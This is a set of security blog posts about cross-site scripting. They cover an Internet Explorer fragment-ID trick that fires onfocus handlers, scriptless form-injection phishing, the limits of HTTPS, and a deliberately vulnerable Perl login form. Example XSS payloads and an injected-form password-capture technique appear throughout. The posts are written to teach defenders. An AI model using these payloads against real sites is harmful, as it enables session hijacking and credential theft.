I hope this is original, I certainly couldn’t find anything in a quick bit of research on “Internet Explorer”, “anchor” / “fragment id” and “onfocus” or “focus”. [Click here for the TLDR version.]
Those of you who know me, or have been reading this blog for a while know that I have something of a soft spot for the XSS exploits (See here, here, here and here – oh, and here). One of the reasons I like them is that I can test sites without causing any actual damage to them – a reflected XSS that I launch on myself only really affects me. [Stored XSS, now that’s a different matter] And yet, the issues that XSS brings up are significant and severe.
XSS issues are significant and severe because:
So, I enjoy reporting XSS issues to web sites and seeing how they fix them.
It’s been said I can’t pass a Search box on a web site without pasting in some kind of script and seeing whether I can exploit it.
So, the other day I decided for fun to go and search for “security blog” and pick some entries at random. The first result that came up – blog.schneier.com – seemed unlikely to yield any fruit, because, well, Bruce Schneier. I tried it anyway, and the search box goes to an external search engine, which looked pretty solid. No luck there.
A couple of others – and I shan’t say how far down the list, for obvious reasons – turned up trumps. Moderately simple injections into attributes in HTML tags on the search results page.
One only allowed me to inject script into an existing “onfocus” event handler, and the other one allowed me to create the usual array of “onmouseover”, “onclick”, “onerror”, etc handlers – and yes, “onfocus” as well.
I reported them to the right addresses, and got the same reply back each time – this is a “low severity” issue, because the user has to take some action, like wiggling the mouse over the box, clicking in it, etc.
Could I raise the severity, they asked, by making it something that required no user interaction at all, save for loading the link?
Could I make the attack more “sexy”?
Whenever I’m faced with an intellectual challenge like that, I find that often a good approach is to simply try something stupid. Something so stupid that it can’t possibly work, but in failing it will at least give me insight into what might work.
I want to set the user’s focus to a field, so I want to do something a bit like “go to the field”. And the closest automatic thing that there is to “going to a field” in a URL is the anchor portion, or “fragment id” of the URL.
You’ll have seen them, even if you haven’t really remarked on them very much. A URL consists of a number of parts:
The anchor is often called the “hash”, because it comes after the “hash” or “sharp” or “pound” (if you’re not British) character. [The query often consists of sets of paired keys and values, like “key1=value1&key2=value2”, etc]
The purpose of an anchor is to scroll the window to bring a specific portion to the top. So, you can give someone a link not just to a particular page, but to a portion of that page. It’s a really great idea. Usually an anchor in the URL takes you to a named anchor tag in the page – something that reads “<a name=foobar></a>” will, for instance, be scrolled to the top whenever you visit it with a URL that ends with “#foobar”.
[The W3C documentation only states that the anchor or fragment ID is used to “visit” the named tag. The word “visit” is never actually defined. Common behaviour is to load the page if it’s not already loaded, and to scroll the page to bring the visited element to the top.]
This anchor identifier in the URL is also known as a “fragment identifier”, because technically the anchor is the entire URL. Not what people make as common usage, though.
XSS fans like myself are already friendly with the anchor identifier, because it has the remarkable property of never being sent to the server by the browser! This means that if your attack depends on something in the anchor identifier, you don’t stand much chance of being detected by the server administrators.
So, the stupid thing that I thought about is “does this work for any name? and is it the same as focus?”
Sure enough, in the W3C documentation for HTML, here it is:
So, that means any tag with an “id” attribute can be scrolled into view. This effectively applies to any element with a “name” attribute too, because:
This attribute [name] names the current anchor so that it may be the destination of another link. The value of this attribute must be a unique anchor name. The scope of this name is the current document. Note that this attribute shares the same name space as the id attribute. [my emphasis]
This is encouraging, because all those text boxes already have to have ids or names to work.
So, we can bring a text box to the top of the browser window by specifying its id or name attribute as a fragment.
That’s the first stupid thing checked off and working.
But moving a named item to the top of the screen isn’t the same as selecting it, clicking on it, or otherwise giving it focus.
Or is it?
Testing in Firefox, Chrome and Safari suggested not.
Testing in Internet Explorer, on the other hand, demonstrated that even for as old a version as IE8, all the way through IE9 and IE10, caused focus behaviour – including any “onfocus” handler – to trigger.
Internet Explorer has a behaviour different from other browsers which makes it easier to exploit a certain category of XSS vulnerabilities in web sites.
If you are attacking users of a vulnerable site that allows an attacker to inject code into an “onfocus” handler (new or existing), you can force visitors to trigger that “onfocus” event, simply by adding the id or name of the vulnerable HTML tag to the end of the URL as a fragment ID.
You can try it if you like – using the URL http://www.microsoft.com/en-us/default.aspx#ctl00_ctl16_ctl00_ctl00_q
OK, so you clicked it and it didn’t drop down the menu that normally comes when you click in the search field on Microsoft’s front page. That’s because the onfocus handler wasn’t loaded when the browser set the focus. Try reloading it.
You can obviously build any number of test pages to look at this behaviour:
Loading that with a link to formpage.html#exploit or formpage.html#exploitid will pop up an ‘alert’ dialog box.
No, I don’t think it is – I don’t know that it’s necessarily even a flaw.
The documentation I linked to above only talks about the destination anchor being used to “visit” a resource. It doesn’t even say that the named anchor should be brought into view in any way. [Experiment: what happens if the ID in the fragment identifier is a “type=hidden” input field?]
It doesn’t say you should set focus; it also doesn’t say you should not set focus. Setting focus may be simply the most convenient way that Internet Explorer has to bring the named element into view.
And the fact that it makes XSS exploits a little easier doesn’t make it a security flaw either – the site you’re visiting STILL has to have an XSS flaw on it somewhere.
Finally, the moral question has to be asked and answered.
I start by noting that if I can discover this, it’s likely a few dozen other people have discovered it too – and so far, they’re keeping it to themselves. That seems like the less-right behaviour – because now those people are going to be using this on sites unaware of it. Even if the XSS injection is detected by the web site through looking in their logs, those same logs will tell them that the injection requires a user action – setting focus to a field – and that there’s nothing causing that to happen, so it’s a relatively minor issue.
Except it’s not as minor as that, because the portion of the URL that they CAN’T see is going to trigger the event handler that just got injected.
So I think the benefit far outweighs the risk – now defenders can know that an onfocus handler will be triggered by a fragment ID in a URL, and that the fragment ID will not appear in their log files, because it’s not sent to the server.
I’ve already contacted Microsoft’s Security team and had the response that they don’t think it’s a security problem. They’ve said they’ll put me in touch with the Internet Explorer team for their comments – and while I haven’t heard anything yet, I’ll update this blog when / if they do.
In general, I believe that the right thing to do with security issues is to engage in coordinated disclosure, because the developer or vendor is generally best suited to addressing specific flaws. In this case, the flaw is general, in that it’s every site that is already vulnerable to XSS or HTML injection that allows the creation or modification of an “onfocus” event handler. So I can’t coordinate.
The best I can do is communicate, and this is the best I know how.
Last yearâs discussion on âScriptless XSSâ made me realise that there are two kinds of presentation about new exploits â those that talk about a new way to trigger the exploit, and those that talk about a new way to take advantage of the exploit.
Since I didnât actually see the âScriptless XSSâ presentation at Blue Hat (not having been invited, I think it would be bad manners to just turn up), I wonât address it directly, and itâs entirely possible that much of what I say is actually irrelevant to that particular paper. Iâm really being dreadfully naughty here and setting up a strawman to knock down. In the tech industry, this practice is often referred to as âjournalismâ.
Letâs say youâre new to XSS. Itâs possible many of you actually are new to XSS, and if you are, please read my previous articles about how itâs just another name for allowing an attacker to inject content (usually HTML) into a web page.
Your first XSS exploit example may be that you can put â
<script>alert(1)</script>â into a search field, and it gets included without encoding into the body of the results page. This is quite frankly so easy Iâve taught my son to do it, and weâve had fun finding sites that are vulnerable to this. Of course, we then inform them of the flaw, so that they get it fixed. XSS isnât perhaps the most damaging of exploits â unlike SQL injection, youâre unlikely to use it to steal a companyâs entire customer database â but it is an embarrassing indication that the basics of security hygiene are not being properly followed by at least some of your development team.
The trigger of the exploit here is the â<âŠ>â portion (not including the part replaced by ellipsis), and the exploit itself is the injection of script containing an alert(1) command.
Letâs say now that the first thing a programmer tries to protect his page is to replace the direct embedding of text with an <input> tag, whose value is set to the user-supplied text, in quotes.
Your original exploit is foiled, because it comes out as:
<input readonly=1 value="<script>alert(1)</script>">
Thatâs OK, though, because the attacker will see that, and note that all he has to do is provide the terminating quote and angle bracket at the start of his input, to produce instead:
<input readonly=1 value=""><script>alert(1)</script>">
This is a newer method of exploiting XSS-vulnerable code. Although a simple example, this is the sort of thing itâs worth getting excited about.
Itâs exciting because it causes a change in how you planned to fix the exploit. You had a fix that prevented the exploit from happening, and now it fails, so you have to rethink this. Any time you are forced to rethink your assumptions because of new external data, why, thatâs SCIENCE!
Well, the other thing is noting that if the developer did the stupid thing, and blocked the word â
alertâ, the attacker can get around that defence by using the â
promptâ keyword instead, or by redirecting the web page to somewhere the attacker controls. This may be a new result, but itâs not a new trigger, itâs not a new cause.
When defending your code against attack, always ask yourself which is the trigger of an attack, rather than the body of the attack itself. Your task is to prevent the trigger, at which point the body becomes irrelevant.
Iâm sure that someone will comment on this article and say that Iâm misrepresenting the field of attack blocking â after all, the XSS filters built into major browsers surely fall into the category of blocking the body, rather than the trigger, of an attack, right?
Sure, and thatâs one reason why theyâre not 100% effective. Theyâre a stopgap measure â a valuable stopgap measure, donât get me wrong, but they are more in the sense of trying to recognise bad guys by the clothing they choose to wear, rather than recognising bad guys by the weapons they carry, or their actions in breaking locks and planting explosives. Anyone whoâs found themselves, as I have, in the line of people ârandomly selected for searchingâ at the airport, and looked around and noted certain physical similarities between everyone in the line, will be familiar with the idea that this is more an exercise in increasing irritation than in applying strong security.
Itâs also informative to see methods by which attacks are carried out â as they grow in sophistication from fetching immediate cookie data to infecting browser sessions and page load semantics, it becomes easier and easier to tell developers âlook at all these ways you will be exploited, and you will begin to see that we canât depend on blocking the attack unless we understand and block the triggersâ.
Iâm not really looking to change any behaviours, nor am I foolish enough to think that people will start researching different things as a result of my ranting here.
But, just as Iâve chosen to pay attention to conferences and presentations that tell me how to avoid, prevent and fix, over those that only tell me how to break, Iâll also choose to pay attention to papers that show me an expansion of the science of attacks, their detection and prevention, over those that engage in a more operational view of âso you have an inlet, what do you do with it?â
I was surprised last night and throughout today, to see that a topic of major excitement at the Microsoft BlueHat Security Conference was that of âScriptless XSSâ.
The paper presented on the topic certainly repeats the word ânovelâ a few times, but I will note that if you do a Google or Bing search for âScriptless XSSâ, the first result in each case is, of course, a simple blog post from yours truly, a little over two years ago, in July 2010.
Every time I have had an interview in the security field â thatâs since 2006 â Iâve been asked âExplain what Cross Site Scripting isâ, and rather hesitantly at first, but with growing surety, I have answered that it is simply âHTML injectionâ, and the conversation goes wonderfully from there.
Fairly simply, Iâve found that if you throw standard XSS exploits at developers and tell them to fix the flaw, they do silly things like blocking the word âscriptâ. As Iâve pointed out before, Cross Site Scripting (as with all injection attacks) requires an Injection (how the attacker provides their data), an Escape (how the attackerâs data moves from data into code), an Attack or Execution (the payload), and optionally a Cleanup (returning the userâs browser state to normal so they donât notice the attack happening).
Attacks are wide and varied â the paper on Scriptless Attacks makes that clear, by presenting a number of novel (to me, at least) attacks using CSS (Cascading Style Sheet) syntax to exfiltrate data by measuring scrollbars. My example attack used nothing so outlandish â just the closure of one form, and the opening of another, with enough CSS attribute monkeying to make it look like the same form. The exfiltration of data in this case is by means of the rather pedestrian method of having the user type their password into a form field and submit it to a malicious site. No messing around with CSS to measure scrollbars and determine the size of fonts.
I will say this â the attacks they present are an interesting and entertaining demonstration that if youâre trying to block the Attack or Cleanup phases of an Injection Attack, you have already failed, you just donât know it yet. Clearly a lot of work and new study went into these attacks, but itâs rather odd that their demonstrations are about the more complicated end of Scriptless XSS, rather than about the idea that defenders still arenât aware of how best to defend.
Also, no doubt, they had the sense to submit a paper on this â all I did was blog about it, and provide a pedestrian example with no flashiness to it at all.
The problem is the Injection and the Escape â you can block the Injection by either not accepting data, or by having a tight whitelist of good values; and you can block the Escape by appropriately encoding all characters not definitively known to be safe.
I know, it sounds like complete heresy, but there it is â SSL and HTTPS will not make your web site secure.
Even more appropriate (although I queued the title of this topic up almost a month ago) is this recent piece of news: Top FBI Cyber Cop Recommends New Secure Internet, which appears to make much the opposite point, that all our problems could be fixed if we were only to switch to an Internet in which everyone is identified (something tells me the FBI is not necessarily looking for us to use strong encryption).
There are a number of ways in which an HTTPS-only website, or HTTPS-only portion of a site, can be insecure. Hereâs a list of just some of them:
Itâs been a long time since web servers provided only static content in their pages. Now itâs the case that pretty much every web site has to serve âapplicationsâ, in which inputs provided by the visitor to the site get processed and involved in outputs.
There are any number of ways in which those inputs can produce bad outputs â Cross Site Scripting (XSS), on which Iâve posted before; Cross Site Request Forgery, allowing an attacker to force you to take actions you didnât intend; SQL injection, where data behind a web site can be extracted and/or modified â these are just the most commonly known.
Applications can also fail to check credentials, fail to apply access controls, and even fail in some old-fashioned ways like buffer overflows leading to remote code execution.
Providing sensitive information in an applicationâs path, or through parameters passed in a URL, is another common means by which application authors, who think they are protected by using HTTPS, come a significant cropper. URLs â even HTTPS protected URLs â are often read, logged, and processed at both ends of the connection, and sometimes even in the middle!
Egress filtering in enterprises is often carried out by interrupting the HTTPS communication between client and server, using a locally-deployed trusted root certificate. This quite legitimately allows the egress filtering system to process URLs to determine whatâs a safe request, and whatâs a dangerous one. This can also cause information sent in a URL to be exposed. This is one reason why an application developer should avoid using GET requests to perform and data exchange for user data, or for data that the site feels is sensitive.
Other path vulnerabilities â mostly fixed these days, but still something that attackers and scanning suites alike feel is worth trying â are those where the path can be changed by embedding extra slash or double-dot characters or sequences. Enough â..â entries in a path, and if the server isnât properly written or managed, an attacker can escape out of the web serverâs restrictions, and visit the operating system disk. The official term for this is a âpath traversal attackâ.
The presence of a padlock â or whatever your web browser shows to indicate an HTTPS, rather than HTTP, connection, indicates a few things:
If youâre the sort of person who clicks through browser warnings, all youâve managed to confirm is that your communication is encrypted, and the site youâve connected to is trying to convince you it is secure. Note that this is exactly what a fraudulent site will try to do. The padlock isnât everything.
Then think about where your secret information goes. If youâre like a lot of users, youâll be using the same password on every site you connect to, or some variation thereof. Just because the site uses SSL does not mean that you
If your bank doesnât use HTTPS when accepting your logon information, itâs a sign that they really arenât terribly interested in protecting that transaction. Maybe you should ask them why.
Many web sites will use HTTPS on parts of the site, and HTTP on others. Observe what they choose to protect, and what they choose to leave public. Is the publicly-transmitted information truly public? Is it something you want other people in the coffee shop or library to know youâre browsing?
Some simple statements about Cross Site Scripting / XSS / HTML Injection (all terms for the same thing):
Iâm going to give away a secret that Iâve successfully used at every interview Iâve had for a security position.
âCross-Site Scriptingâ (XSS) is a remarkably poor term for the attack or vulnerability (code can be particularly vulnerable to a cross-site scripting attack) it describes. The correct term should be âHTML Injectionâ, because it succinctly explains the source of the problem, and should provide developers with pretty much all the information they need to recognise, avoid, prevent, and address the vulnerabilities that lead to these attacks being possible.
Particularly galling is when I look at code whose developers had heard about XSS, had looked about for solutions, and had found a half-baked solution that made them feel better about their code, made the bug report go from âreproducibleâ to âcannot reproduceâ, but left them open to an attacker with a little more ingenuity (or simply a more exhaustive source of sample attacks) than they had. It seems that developers often try, but are limited by the resources they find on the Intarweb â particularly blogs seem to provide poor solutions (ironic, I know, that I am complaining about this in my blog).
Alright then, hereâs something that appears to be new to many â a demonstration of Cross-Site Scripting without scripting.
We all know how XSS happens, right? A programmer wants to let the user put some information on the page. Letâs say he wants to warn the user that his password was entered incorrectly, or his logon session has expired. So, he needs to ask the user to enter username and password again, but probably wants to save time by putting the userâs name in place for the user, to save on typing.
Hereâs what the form looks like â youâve all seen it before:
Needles to say â donât use these as examples of good code â these are EXAMPLES of VULNERABLE CODE. And lousy code at that.
$query = new CGI;
print $query->h1("Session timed out."), $query->p("You have been logged out from the site - please enter your username and password to log back in."), $query->start_form(-action=>"happyPage.htm", -method=>"get"), "Username: <input name=\"username\" value=\"" + $query->param("username") + "\" />",$query->br(),
"Password: ", $query->input(-name=>"password",-type=>"password"),$query->br(), $query->submit(),
If we modify our URL by adding â#&â between the query and the variable âusernameâ, it demonstrates one of the more frightening aspects of DOM-based attacks. Those of you who are aware of what an anchor does to a browser will already have figured it out, but hereâs a quick explanation.
The âanchorâ is considered to be everything after the â#â in a URL. Although it looks like itâs part of the query string, itâs not. Browsers donât send the â#â or anything after it to the server when requesting a web page, so itâs not seen in a network trace, and itâs not seen in the server logs. This means that DOM-based attacks can hide all manner of nastiness in the anchor, and your scanners wonât pick it up at all.
So, this page would normally get executed with a parameter, âusernameâ which would be the username whose account weâre asking for credentials for â and certainly it works with http://localhost/XSSFile.htm?username=Fred@example.com :
The trouble is, it also works with the XSS attackersâ favourite test example, alert("XSS")%3b’>http://localhost/XSSFile?username="><script>alert("XSS")%3b</script> :
Now, Iâve seen developers who are given this demonstration that their page is subject to an XSS attack. What do they do? They block the attack. Note that this is not the same as removing or fixing the vulnerability. What these guys will do is block angle brackets, or the tag â<script>â. As a security guy, this makes me sigh with frustration, because we try to drill it into peopleâs heads, over and over and over again, that blacklisting just doesnât work, and that âmaking the repro go awayâ is not equivalent to âfixing the problem demonstrated by the reproâ.
The classic attackerâs response to this is to go to http://ha.ckers.org/xss.html for the XSS Cheat Sheet, and pull something interesting from there. Maybe use the list of events, say, to decide that you could set the âonfocusâ handler to execute your interesting code.
But no, letâs suppose by some miracle of engineering and voodoo the defender has managed to block all incoming scripts. Even so, weâre still vulnerable to XSS.
What happens if we try this link:
[The â%3dâ there is a hex value representing the â=â character so that the query-string parser doesnât split our attack.]
OK, thatâs kind of ugly â but it demonstrates that you can use an XSS vulnerability to inject any HTML â including a new <form> tag, with a different destination â âbadpageâ in our URL above, but it could be anywhere. And by hiding the attacked input field, we can engineer the user into thinking itâs just a display issue
With some piggery-jokery, we can get to this:
Looks much better (and with more work, we could get it looking just right):
So, there you have a demonstration of scriptless cross-site scripting. XSS, or HTML Injection, as Iâd prefer you think of it, can inject any tag(s) into your page â can essentially rewrite your page without your knowledge. If you want to explain the magnitude of XSS, it is simply this â an attacker has found a way to rewrite your web page, as if he was employed by you.
[Of course, if I hadnât been trying to demonstrate that XSS is a misnomer, and prove that you can shove any old HTML into it, I would simply have used a piece of script, probably on the onmouseover event, to set the action of the form to post to my bad site. Fewer characters. Doing so is left as an exercise for the reader.]
It doesnât work in Internet Explorer, but in other browsers, it seems to work just fine. At first look, this would seem to suggest that âinnerHTMLâ on a <form> tag is allowing the â</form">â in the XSS to escape out from the parent form. I can assure you thatâs not the case, because if you could escape out, that would be a security flaw in the browsersâ implementation of innerHTML. So, whatâs it doing, and how do you find out?